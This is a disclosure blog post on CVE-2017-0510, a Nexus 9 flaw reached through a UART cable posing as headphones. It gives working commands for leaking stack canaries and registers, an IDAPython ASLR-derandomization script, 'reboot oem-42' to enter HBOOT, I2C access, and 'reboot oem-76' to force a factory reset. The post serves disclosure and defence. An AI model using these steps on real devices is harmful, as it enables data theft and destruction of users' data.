Attacking Nexus 9 with Malicious Headphones

By Roee Hay (@roeehay)
March 8, 2017

In the March 2017 Android Security Bulletin, Google released a patch to CVE-2017-0510, a critical severity vulnerability in Nexus 9 we discovered and responsiblity disclosed a few months ago. This vulnerability has a very unusual attack vector – headphones. By exploiting this vulnerability we managed to leak stack canaries, derandomize ASLR, conduct a factory reset, and even access HBOOT, allowing for communication with internal System-on-Chips (SoCs) through I\(^2\)C.

Table of Contents

  1. Background
  2. A New Survey
  3. FIQ Debugger
  4. Listening to your Stack Canaries
  5. ASLR
  6. SysRq
  7. HBOOT
  8. 42: Answer to the Ultimate Question of Life, the Universe, and Everything
  9. Accessing I\(^2\)C Buses
  10. Factory Reset
  11. Patch


In their BlackHat 2013 paper, Michael Ossmann & Kyle Osborn showed that multiplexed wired functionality exists in several mobile phones. Their research mainly focused on the USB socket. In the paper, they presented interesting results on various variants of Galaxy Nexus. For example, they showed that with Galaxy Nexus running CyanogenMod (CM), one could get access to the FIQ Debugger (see next) together with an unprivileged shell. More severely, on Samsung Galaxy S3 running CM they have also got a root shell. Ossmann & Osborn also briefly documented multiplexed audio connectors, noting that Nexus 4 has a TTL UART interface hidden in its headphone jack, a functionality which is enabled if the voltage on the MIC pin exceeds some threshold.

Fast-forward to 2017, nowadays it’s a well known fact that the Nexus devices (Pixel too) have this kind of functionality in their headphone jack. There are multiple examples of people building and documenting their cables.

A New Survey

We were curious, so Sagi Kedmi (@sagikedmi) suggested we would also assemble our own cable. We decided to go with the standard FTDI232RL breakout board:


We then tested it over recent Google devices, running the latest available build with a locked bootloader (BL):

Device Build Access Notes
Nexus 5 M4B30Z BL & Platform kernel logs  
Nexus 5X N4F26O BL & Platform kernel logs  
Nexus 6 NBD91Y BL & Platform kernel logs Platform log can be switched on/off via fastboot oem cmd on locked BL
Nexus 6P N4F26O BL & Platform kernel logs Platform log can be switched on/off via fastboot oem cmd on locked BL. If enabled, will not boot the platform without a debug cable connected
Pixel NOF26V BL & Platform kernel logs Platform log can be switched on/off via fastboot oem cmd on unlocked BL
Pixel C N4F26O None  
Nexus 9 N4F26Q BL & Platform kernel logs, FIQ Debugger, HBOOT  

All but Pixel C had the multiplexed functionality. It should be noted some devices also required us to enable UART via a proprietary fastboot oem command (e.g oem uart enable). To our surprise, Nexus 9 behaved quite differently, having extra functionalities beyond debug messages, and beyond the FIQ Debugger.

In the next sections we will study some internals behind the vulnerability and its security impact.

FIQ Debugger

When we first booted up Nexus 9 with the UART cable attached, we noticed something familiar:

smc_undefined:66: param0: 0x0
smc_undefined:66: param1: 0x0
smc_undefined:66: param2: 0x0
smc_undefined:66: Undefined monitor call!
smc_undefined:66: SMC: 0x32000002 (Stdcall entity 50 function 0x2)
smc_undefined:66: param0: 0x0
smc_undefined:66: param1: 0x0
smc_undefined:66: param2: 0x0
<hit enter to activate fiq debugger>

Similarly to what Ossman & Osbord have shown on older Android devices, one could access the FIQ Debugger on Nexus 9 as well, although without a shell on user (production) builds. It should be noted that the FIQ Debugger functionality is enabled even if the UART cable is inserted when the platform is up.

The FIQ (Fast Interrupt Request) debugger module which we can apparently access in Nexus 9 is implemented mainly by fiq_debugger.c and tegra_fiq_debugger.c in the tegra kernel tree.

Whenever a keystroke is sent to the device via UART, an FIQ is generated, which eventually (and probably after visiting some ARM Monitor mode code) reaches fiq_debugger_handle_uart_interrupt that dispatches the relevant command handler.

In order to speed-up the work of the researcher, the FIQ Debugger interface provides a help command:

debug> help
FIQ Debugger commands:
    pc            PC status
    regs          Register dump
    allregs       Extended Register dump
    bt            Stack trace
    reboot [<c>]  Reboot with command <c>
    reset [<c>]   Hard reset with command <c>
    irqs          Interupt status
    kmsg          Kernel log
    version       Kernel version
    sleep         Allow sleep while in FIQ
    nosleep       Disable sleep while in FIQ
    console       Switch terminal to console
    cpu           Current CPU
    cpu <number>  Switch to CPU<number>
    ps            Process list
    sysrq         sysrq options
    sysrq <param> Execute sysrq with <param>

The list of available commands clearly indicates the attacker may exfiltrate a lot of sensitive information by interacting with the FIQ Debugger. For example, the attacker can dump the process list:

debug> ps
pid   ppid  prio task            pc
1     0  120 init          S ffffffc0000868f4
2     0  120 kthreadd      S ffffffc0000868f4
3     2  120 ksoftirqd/0   S ffffffc0000868f4
4     2  120 kworker/0:0   S ffffffc0000868f4
5     2  100 kworker/0:0H  S ffffffc0000868f4
837   250  110 ndroid.settin S ffffffc0000868f4
842   250  129 Jit thread po S ffffffc0000868f4
843   250  120 Signal Catche S ffffffc0000868f4
844   250  120 JDWP          S ffffffc0000868f4
845   250  120 ReferenceQueu S ffffffc0000868f4
869     2  120 kworker/1:3   S ffffffc0000868f4

By using the console command, for example, it’s possible to view the kernel log (similar to other Nexus devices), and receive an unprivileged shell (not on production (user) builds – on userdebug, eng builds only!)

Using the bt/regs/allregs commands allows the attacker to dump the registers, and when falling under the kernel context, the call stack too. Unlike a normal debugger we cannot modify memory and/or place breakpoints, however since the FIQ preempts, the dumped information will be of an arbitrary process. In order to validate this assumption, we first created a tiny app that sets one of the registers to 0x1234 in an infinite loop:

 for (;;) { asm("MOV x0,#0x1234"); }

We expected that we will eventually hit the context of the app’s process, with x0 = 0x1234. Indeed:

debug> bt
pid: 0  comm: swapper/0
 x0 0000000000000000  x1 ffffffc000f7a400
 x2 0000000000000000  x3 ffffffc0006f4950
debug> bt
pid: 2363 comm: Thread-2
 x0 0000000000001234  x1 00000070d3406774  
 x2 0000000000000000  x3 00000070cf580c00
 x4 00000070d3406be8  x5 00000070d92b6080
 x6 8080808080808080  x7 0000000000000000

Listening to your Stack Canaries

Our next step was to prove we can leak something more sensitive – the Stack Canary value of Zygote, which is shared between all Android apps. (Due to the fact all Android apps are forked from Zygote without an exec syscall.).

We first created a small app that dumps the canary to logcat:

__android_log_print(ANDROID_LOG_VERBOSE, APPNAME, 
                   "_stack_chk_guard: %llx", 
                   *(uint64_t *)&__stack_chk_guard);

And the canary was:

02-01 16:30:35.623 .. V NATIVE: _stack_chk_guard: 0a2b6c120521b7c6

We then created a small PoC that dumps the registers in a successive manner. Eventually we fell under the context of a stack-protected function – reg x26 contains the canary value!

pid: 1300  comm: system_server
  x0 0000000012ed8624   x1 0000000000000000
  x2 0000000000000004   x3 0000007ffb44fa40
  x4 0000007ffb44fa38   x5 0000007ffb44fa30
  x6 000000000000000c   x7 0000000000000000
  x8 0000000000000000   x9 00000075a06498d0
 x10 0000000000000000  x11 0000000012ed8618
 x12 000000000000000a  x13 000000000000000b
 x14 0000000000000000  x15 2e8ba2e8ba2e8ba3
 x16 00000075a05f97d8  x17 00000075a1b27b80
 x18 0000000012e2d6c0  x19 00000075a0649700
 x20 00000075a063fa00  x21 0000000000000002
 x22 0000000000580310  x23 0000000000000034
 x24 0000000012ed85f0  x25 000000000000000e
 x26 0a2b6c120521b7c6  x27 0000000012d6cba0
 x28 0000000012d2e1d0  x29 0000007ffb44faa0
 x30 00000075a02c90b0   sp 0000007ffb44f9e0
  pc 00000075a02c90cc cpsr 80000000 (EL0t)

Disassembling near 00000075a02c90cc under system_server shows that it belongs to the art::gc::Heap::AllocObjectWithAllocator function. Indeed x26 is assigned with __stack_chk_guard value:

Stack Canary Prolog Stack Canary Epilog
Prologue Epilogue


It is no surprise that being able to view arbitrary CPU contexts with addresses included is bad news for ASLR, which is in charge of randomizing various addresses, such as of the heap, stack, shared libraries and the executable image itself.

In this post we will focus on libraries only, although it should be fairly safe to claim that this vulnerability significantly weakens ASLR for all of the above. As mentioned before, by exploiting this vulnerability one can preempt an arbitrary process, and dump the CPU registers. For example, here is a registers’ dump for Chrome:

pid: 2856  comm: .android.chrome
 r0 d51fce86  r1 001a517c  r2 b914880d  r3 ff8f754c
 r4 e2b081c0  r5 007797ec  r6 d44127ec  r7 e7ac0430
 r8 12de1940  r9 ff8f7470 r10 dcc65a94 r11 00000000
 ip f13eb860  sp ff8f73a8  lr eedd78ef  pc eedd5ac8
 cpsr 80070030 (USR)

Viewing the value of the PC register, 0xeedd5ac8 in this case, clearly reveals some information. However, in order to conduct a practical attack against ASLR, we need to deduce to which library this address belongs and what its base address is.

As for the first part, a statistical approach can be taken. We could calculate, a priori, the hit frequency of each loaded library (with respect to the app). While we did not perform that experiment, we have a strong feeling that the empirical distribution will have a low entropy.

Back to the example, this address falls under libart, the runtime. We assume that there is a high probability to preempt the process (via FIQ) when it visits that library, although unconfirmed. Equipped with this knowledge, how can one derandomize the base address of libart?

We can see that PC’s least significant 12 bits, which are unaffected by ASLR, are 0xac8. We can then take this dynamic information and search for all of the instructions with the relevant addresses – unfortunately there are a lot. Despite that, there are maybe additional registers we can leverage. For example, the link register – LR. This has led to our next experiment: by using idapython we statically searched for all functions that contain an xref from an address that ends with 0x8ef-1-4 or 0x8ef-1-2 (the -1 and multiple instruction sizes are because of THUMB), and that have an instruction at an address that ends with 0xac8.

from idautils import *
from idaapi import *

LR = 0xeedd78ef
PC = 0xeedd5ac8

MASK = 2**12-1

for fea in Functions(0, 0xFFFFFFFF):
    fname = GetFunctionName(fea)
    dfname = Demangle(fname,GetLongPrm(INF_SHORT_DN));
    b = 0
    for xref in CodeRefsTo(fea, 0):
        if ((LR-5) & MASK == (xref & MASK)) or \
           ((LR-3) & MASK == (xref & MASK)):
            for x in FuncItems(fea):
                if PC & MASK == (x & MASK):                   
                    print "%x: %s" % (x,  dfname or fname)
                    b = 1
            if b == 1:

This script yielded only 6 results under libart (rebased at zero), significantly reducing the ASLR entropy:

eec11ac8: art::gc::Heap::AllocObjectWithAllocator<true,true,art::mirror::Class::InitializeClassVisitor>(art::Thread *,art::mirror::Class*,uint,art::gc::AllocatorType,art::mirror::Class::InitializeClassVisitor const&)
eec5dac8: mspace_malloc
eed60ac8: art::jit::Jit::MaybeDoOnStackReplacement(art::Thread *,art::ArtMethod *,uint,int,art::JValue *)
eedd5ac8: art::OatFile::End(void)
eee42ac8: art::Thread::PassActiveSuspendBarriers(art::Thread*)
eee5eac8: art::PrettyMethod(art::ArtMethod *,bool)

One can then reduce the results even further. We made a short experiment, rebooted the device several times a recorded the mapped location of libart.so:


We can notice, even without getting into the fine details of the address mapping algorithm, that the 19 least significant bits, 0011010000000000000, are shared among all reboots. Thus we can take that into consideration, and re-run our script, this time with MASK = 2**19-1: (We also rebased the image to 0x1a000.)

2d5ac8: art::OatFile::End(void)

This implies the following libart base address: 0xeedd5ac8 - 0x2d5ac8 + 0x1a000 = 0xeeb1a000, and indeed:

flounder:/proc/2856 # cat maps | grep libart.so
eeb1a000-eef74000 r-xp 00000000 fd:00 985     /system/lib/libart.so
eef74000-eef7c000 r--p 00459000 fd:00 985     /system/lib/libart.so
eef7c000-eef7e000 rw-p 00461000 fd:00 985     /system/lib/libart.so

Since libart.so is loaded by zygote, and due to the Android app forking model, it will be loaded into all apps under the same virtual address.

It’s also worth noting that if one still receives multiple candidates, they can be reduced even further. For example, by leveraging other registers, or creating a heat-map within the library itself together with contextual information, as it is possible that hit process does not even (transitively) call some of these candidates.

Conversely, finding no candidates at all, indicates that we chose the wrong libary (e.g. the called code is not of libart.so, but rather of another lib loaded by the preempted process, or of the application itself).


Interestingly, the FIQ Debugger provides a sysrq command, which should provide access to the Linux SysRq interface. Despite that, hitting sysrq after the platform has loaded returns nothing:

debug> sysrq

Digging into the code which handles the FIQ sysrq command, reveals the reason:

static void fiq_debugger_do_sysrq(struct fiq_debugger_state *state, char rq)
	if ((rq == 'g' || rq == 'G') && !fiq_kgdb_enable) {
		fiq_debugger_printf(&state->output, "sysrq-g blocked\n");
void handle_sysrq(int key)
	if (sysrq_on())
		__handle_sysrq(key, true);
static bool sysrq_on(void)
	return sysrq_enabled || sysrq_always_enabled;

By instrumenting the kernel we witnessed that when the platform is up, both sysrq_enabled and sysrq_always_enabled are 0, thus sysrq_on returns false. The value of the latter can be set to 1 by providing a kernel parameter (which is not provided on Nexus 9, thus the value is 0):

__setup("sysrq_always_enabled", sysrq_always_enabled_setup);

The default value of sysrq_enabled, however, is 1:

static int __read_mostly sysrq_enabled = SYSRQ_DEFAULT_ENABLE;

where under sysrq.h:

/* Enable/disable SYSRQ support by default (0==no, 1==yes). */

Therefore something must change the variable’s value to 0, and indeed, this is done by an Android init script (init.rc):

on early-init
# Set init and its forked children's oom_adj.
    write /proc/1/oom_score_adj -1000

    # Disable sysrq from keyboard
    write /proc/sys/kernel/sysrq 0

The /proc/sys/kernel/sysrq proc file is backed by code under kernel/sysctl.c, that eventually toggles sysrq_enabled. Hence there is a short window of time at which sysrq is enabled – during the kernel’s boot, before the init script is executed. Indeed:

debug> sysrq
[  387.104381] SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)

The sysrq interface provides additional commands beyond the FIQ Debugger. For example, we can change the kernel logging level in order to leak more debugging messages:

debug> sysrq 9
[44984.239043] SysRq : Changing Loglevel
[44984.242969] Loglevel set to 9

Moreover, a lucky attacker can also dereference some registers:

debug> sysrq p
[   62.412493] SysRq : Show Regs
[   62.415673]
[   62.417182] CPU: 0 PID: 1 Comm: swapper/0 Tainted: G        W    3.10.101-ga139acc-dirty #22
[   62.425653] task: ffffffc06e4f0000 ti: ffffffc06e4f8000 task.ti: ffffffc06e4f8000
[   62.433176] PC is at common_edp_calculate_leakage_ma+0xf0/0x1b0
[   62.439120] LR is at cpu_edp_calculate_maxf.constprop.5+0xec/0x16c
[   62.445326] pc : [<ffffffc0007bfb34>] lr : [<ffffffc0007c0ab8>] pstate: 80000105
[   62.452746] sp : ffffffc06e4fbc10
[   62.456073] x29: ffffffc06e4fbc10 x28: 00000000000000bc
[   62.461431] x27: 000000000024c516 x26: ffffffc000fecd1c
[   62.466784] x25: ffffffc0029ca000 x24: 000000000000043a
[   62.472136] x23: 0000000000000001 x22: 0000000000000032
[   62.477487] x21: 00000000000038a4 x20: 0000000000000000
[   62.482839] x19: 00000000000004a6 x18: 00000000f31a2dd9
[   62.488190] x17: 00000000000003e8 x16: ffffffc000fece0c
[   62.493542] x15: ffffffc000fece1c x14: 000000000000000a
[   62.498892] x13: 00000000000003e8 x12: 000000000000004f
[   62.504243] x11: 0000000000000003 x10: 0000000000000001
[   62.509594] x9 : ffffffc000fece1c x8 : 0000000000000000
[   62.514946] x7 : 00000001de5571ae x6 : 00000000000003e8
[   62.520297] x5 : 0000000000000000 x4 : 0000000000000001
[   62.525648] x3 : 00000000000004a6 x2 : 0000000000000032
[   62.530998] x1 : 000000000000043a x0 : ffffffc000fecd1c
[   62.536351]
[   62.679272] SP: 0xffffffc06e4fbb90:
[   62.684252] bb90  00000000 00000000 000038a4 00000000 00000032 00000000 00000001 00000000
[   62.692569] bbb0  0000043a 00000000 029ca000 ffffffc0 00fecd1c ffffffc0 0024c516 00000000
[   62.700877] bbd0  000000bc 00000000 6e4fbc10 ffffffc0 007c0ab8 ffffffc0 6e4fbc10 ffffffc0
[   62.709185] bbf0  007bfb34 ffffffc0 80000105 00000000 6e4fbc20 ffffffc0 0019e648 ffffffc0
[   62.717492] bc10  6e4fbc80 ffffffc0 007c0ec8 ffffffc0 00fb7ad0 ffffffc0 00000001 00000000
[   62.725802] bc30  0000043a 00000000 00b04950 ffffffc0 00000004 00000000 00fecd18 ffffffc0
[   62.734112] bc50  00000008 00000000 00fed000 ffffffc0 00b04938 ffffffc0 02ab0e38 ffffffc0
[   62.742420] bc70  00fecd18 ffffffc0 00fecd20 ffffffc0 6e4fbd30 ffffffc0 007c1398 ffffffc0
[   62.750730]
[   62.822184] X9: 0xffffffc000fecd9c:
[   62.827164] cd9c  098d9dee f7aaea26 01dcf41d ffe51191 f612bd90 08a38fc6 fe10cb55 001bef19
[   62.835473] cdbc  035e5fbc fd132501 00a7fbcb fff68ae6 01094554 ff18cbd7 00332efc fffd1caf
[   62.843780] cddc  fcb5f0c0 02dd5bec ff5d739e 00092ca9 03687eeb fd089f6c 00a88d3e fff67c13
[   62.852088] cdfc  fed8fb7d 0100cbc6 ffc6e9e4 00033901 ffe66261 001649f3 fffb14fa 00004711
[   62.860394] ce1c  00513c1e ffb95bec 000f9b9c ffff1e4d ffabecea 00491195 ffefd49f 0000e9f8
[   62.868701] ce3c  001c65ef ffe752cc 00057876 ffffb0ce 0000001e 002625a0 00231860 00000000
[   62.877008] ce5c  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[   62.885315] ce7c  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000


Our next step was trying to understand if we are limited to the FIQ Debugger prompt, or there are some more hidden gems.

The Nexus 9 bootloader has two modes: HBOOT and FASTBOOT, which can be interchanged via the bootloader UI:

Nexus 9 FASTBOOT menu Nexus 9 HBOOT menu

We noticed that when we entered the HBOOT mode, another prompt was received via UART (through the headphones jack):

###[ Bootloader Mode ]###

Hitting ? shows the available commands:

hboot> ?
  #. <command>               : <brief description>
  1. boot                    : no desc.
 14. readconfig              : no desc.
 15. readimei                : no desc.
 16. readmeid                : no desc.
 17. readpid                 : no desc.
 18. rebootRUU               : no desc.
 19. refurbish               : no desc.
 20. reset                   : no desc.
 21. resethtcdebugflag       : no desc.
 22. usb_id_adc              : no desc.
 23. i2cr                    : no desc.
 24. i2cw                    : no desc.
 25. i2crNoAddr              : no desc.
 26. i2cwNoAddr              : no desc.
 27. i2cdetect               : no desc.

42: Answer to the Ultimate Question of Life, the Universe, and Everything

It can be seen that through this interface we can trigger many interesting operations. From the attacker’s prespective, however, it is very unlikely that the victim would plug-in the headphones while the device is in the HBOOT mode. As explained above, normally, when the victim plugs-in the malicious headphones, the latter will be able to interact with the FIQ Debugger, implemented by the platform. So how can the attacker force a reboot to HBOOT from the FIQ Debugger? The answer is, unsurprisingly, 42:

debug> reboot oem-42
[0000.045] Battery Present
[0000.069] Battery Voltage: 4170 mV
[0000.072] Battery charge sufficient
[0000.076] Override BCT configs
[0000.079] NvBootEmcReadMrr+++
[0000.082] NvBootEmcReadMrr---
###[ Bootloader Mode ]###

Great, we can now easily access the HBOOT interface via UART.

Accessing I\(^2\)C Buses

By having HBOOT access, the attacker can interact with I\(^2\)C accessible SoCs. Detecting the available SoCs can be done using the i2cdetect HBOOT command. The following shows the devices which listen on I\(^2\)C bus 0:

hboot> i2cdetect 0
i2c device 0x66 foundi2c device 0x67 foundi2c device 0x6c found
i2c device 0x6d foundi2c device 0x98 foundi2c device 0x99 found
i2c device 0xd6 foundi2c device 0xd7 foundi2c device 0xe4 found
i2c device 0xe5 found

For example, 0xe4 and 0xe5 are the read/write addresses of the HTC SensorHub, implemented on an STM32F401 ARM Cortex-M4 SoC. SensorHub, as the name implies acts as an energy-efficient proxy between the main CPU and the actual sensors. It communicates with both ends using I\(^2\)C (different buses). Since the STM32F401 bootloader supports programming via I\(^2\)C, our ultimate goal was to replace the SensorHub firmware via I\(^2\)C, just like the platform driver does. Unfortunately we soon found out it was not possible because booting STM32F4 to its bootloader requires being able to reset the SoC while the Boot0 and Boot1 pins are set to 1 and 0, correspondingly, but we cannot control these pins via HBOOT. Out of curiosity, we digged in the SensorHub driver, CwMcuSensor to see how it performs the firmware upgrade. Indeed it enables the Boot0 pin, via GPIO (the other pin is probably pulled-down):

static void update_firmware(const struct firmware *fw, void *context)
    ret = check_fw_version(mcu_data, fw);
    if (ret == 1) { /* Perform firmware update */
        mcu_data->client->addr = 0x39;
        gpio_direction_output(mcu_data->gpio_chip_mode, 1);
        gpio_direction_output(mcu_data->gpio_reset, 0);
        gpio_direction_output(mcu_data->gpio_reset, 1);

Although we miserably failed to flash SensorHub, we still wanted to interact with it via I\(^2\)C, proving that we can communicate with internal chips. Therefore we examined its firmware in order to find a few interesting I\(^2\)C registers. Returning the firmware version is done by reading from register 0x10:

hboot> i2cr 0 0xe4 0x10 6
     > [6] = 1 0 10 28 2 1 0 0 0 0 0 0 0 0 0 0

This indeed corresponds to the firmware image’s footer: HTCSHUB001. We then managed to access an actual sensor – the Light Sensor, through SensorHub. In order to do so, we first enabled it (writing 32 to register 0x90), and then read its value (register 0x23):

hboot> i2cw 0 0xe5 0x90 32
hboot> i2cr 0 0xe4 0x23 3
     > [3] = 5 ba 3 0 0 0 0 0 0 0 0 0 0 0 0 0

In a dark room register 0x23 is 0:

hboot> i2cr 0 0xe4 0x23 3
     > [3] = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Factory Reset

Lastly, the attacker can also trigger a factory reset, simply by rebooting with oem-76:

debug> reboot oem-76

Better back-up your data before connecting those suspicious headphones!


Google has patched the vulnerability by reducing the capabilities of the FIQ Debugger. When the platform is up, it’s no longer possible to dump the registers nor reboot with an oem-N parameter (preventing reboots into HBOOT and Factory Resets):

debug> help
FIQ Debugger commands:
 reboot        Reboot
 reset         Hard reset
 irqs          Interrupt status
 sleep         Allow sleep while in FIQ
 nosleep       Disable sleep while in FIQ
 console       Switch terminal to console
 ps            Process list

Issuing reboot oem-42 now results in a normal reboot. As one can see, some commands are still available.